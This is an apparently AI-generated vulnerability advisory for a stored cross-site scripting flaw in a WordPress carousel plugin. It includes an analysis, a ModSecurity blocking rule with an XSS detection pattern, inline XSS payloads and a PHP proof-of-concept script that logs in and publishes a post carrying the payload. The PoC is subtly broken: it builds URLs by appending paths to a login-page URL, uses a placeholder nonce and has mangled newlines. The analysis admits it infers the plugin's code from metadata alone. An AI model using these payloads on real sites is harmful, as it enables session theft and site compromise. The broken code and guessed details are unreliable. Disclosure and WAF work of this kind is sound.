Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 23, 2026

CVE-2026-1275: Multi Post Carousel by Category <= 1.4 – Authenticated (Contributor+) Stored Cross-Site Scripting via 'slides' Shortcode Attribute (multi-post-carousel)

CVE ID CVE-2026-1275
Severity Medium (CVSS 6.4)
CWE 79
Vulnerable Version 1.4
Patched Version
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-1275 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the WordPress Multi Post Carousel by Category plugin. The vulnerability exists in the plugin’s shortcode handler for the ‘slides’ attribute. Attackers with Contributor-level or higher permissions can inject malicious scripts into posts or pages. These scripts execute in the browsers of any user viewing the compromised content. The CVSS score of 6.4 (Medium) reflects the requirement for authentication and the scope change impact on site visitors.

Atomic Edge research indicates the root cause is improper neutralization of user input before web page generation (CWE-79). The vulnerability description explicitly states insufficient input sanitization and output escaping on the user-supplied ‘slides’ parameter within the `post_slides_shortcode` function. Without access to the source code, this conclusion is inferred from the CWE classification and the vendor’s description. The plugin likely directly echoes the unsanitized ‘slides’ attribute value into the page output without using WordPress escaping functions like `esc_attr()`.

Exploitation requires an authenticated attacker with at least Contributor-level access. The attacker creates or edits a post, inserting the plugin’s shortcode with a malicious payload in the ‘slides’ attribute. For example, `[post_slides slides=”1″ onload=”alert(document.cookie)”]`. When the post is saved and published, the malicious script becomes part of the page. The script executes in the context of any user who visits that page, including administrators. The attack vector is the WordPress post editor, targeting the shortcode parsing mechanism.

Remediation requires proper input validation and output escaping. The plugin should validate the ‘slides’ parameter to ensure it contains only expected, safe values like integers. For output, the plugin must use context-appropriate WordPress escaping functions. In a shortcode handler, attribute values intended for HTML attributes should be escaped with `esc_attr()` before being printed. A patch would involve adding these sanitization and escaping calls within the `post_slides_shortcode` function.

The impact of successful exploitation is client-side code execution in victims’ browsers. Attackers can steal session cookies, perform actions as the victim user, deface the site, or redirect users to malicious domains. For logged-in administrators, this could lead to full site compromise. The stored nature of the attack amplifies its impact, as the payload executes for every visitor to the infected page until it is removed.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-1275 (metadata-based)
# This rule targets the specific attack vector: injection via the 'slides' shortcode attribute.
# It blocks POST requests to the WordPress post editor that contain the plugin's shortcode with a malicious 'slides' attribute value.
# The rule uses regex to detect XSS payload patterns within the shortcode syntax in the post content.
SecRule REQUEST_URI "@streq /wp-admin/post.php" 
  "id:10001275,phase:2,deny,status:403,chain,msg:'Atomic Edge WAF: CVE-2026-1275 Stored XSS via Multi Post Carousel slides attribute',severity:'CRITICAL',tag:'CVE-2026-1275',tag:'WordPress',tag:'Plugin:multi-post-carousel',tag:'Attack/XSS'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:content "@rx \[post_slides[^\]]*slides\s*=\s*['"]?[^0-9'"]" 
      "t:none,t:urlDecodeUni,t:htmlEntityDecode,capture,ctl:auditLogParts=+E"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1275 - Multi Post Carousel by Category <= 1.4 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'slides' Shortcode Attribute
<?php
/**
 * Proof of Concept for CVE-2026-1275.
 * This script simulates an authenticated Contributor user injecting a stored XSS payload
 * via the 'slides' shortcode attribute in a WordPress post.
 * ASSUMPTIONS:
 * 1. The target URL is a WordPress site with the vulnerable plugin (<=1.4) installed.
 * 2. Valid Contributor-level credentials are available ($username, $password).
 * 3. The plugin's shortcode tag is inferred as 'post_slides' from the function name 'post_slides_shortcode'.
 * 4. The attack is performed via the standard WordPress post creation/editing flow.
 */

$target_url = 'https://example.com/wp-login.php';
$username = 'contributor_user';
$password = 'password123';

// Payload: A simple alert to demonstrate script execution. In a real attack, this would be malicious JavaScript.
$malicious_slides_value = '1" onload="alert(`XSS: ${document.domain}`)';
$shortcode_payload = '[post_slides slides="' . $malicious_slides_value . '"]';
$post_title = 'Test Post with XSS';
$post_content = 'This post contains a malicious carousel shortcode. ' . $shortcode_payload;

// Initialize cURL session for cookie persistence
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable for testing; enable in production.

// Step 1: Authenticate to WordPress
$login_data = http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
$response = curl_exec($ch);

// Check for login success by looking for the admin dashboard indicator
if (strpos($response, 'wp-admin') === false) {
    die('Authentication failed. Check credentials.');
}

// Step 2: Create a new post with the malicious shortcode
// Get the nonce from the post creation page (simplified; real exploit would parse HTML)
// This PoC assumes the attacker can obtain a valid nonce via a prior request.
// For brevity, we simulate the final POST to wp-admin/post.php.
$create_post_url = $target_url . '/wp-admin/post.php';
$post_data = http_build_query([
    'post_title' => $post_title,
    'content' => $post_content,
    'publish' => 'Publish',
    'post_type' => 'post',
    '_wpnonce' => 'NONCE_PLACEHOLDER', // In a full exploit, this would be extracted dynamically.
    'action' => 'editpost'
]);

curl_setopt($ch, CURLOPT_URL, $create_post_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
$response = curl_exec($ch);

if (strpos($response, 'Post published.') !== false || strpos($response, 'Post updated.') !== false) {
    echo "Stored XSS payload successfully injected via shortcode.n";
    echo "Visit the newly created post to trigger the JavaScript execution.n";
} else {
    echo "Post creation may have failed. Nonce validation likely blocked the request.n";
    echo "A complete exploit requires nonce extraction from the edit page.n";
}

curl_close($ch);
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School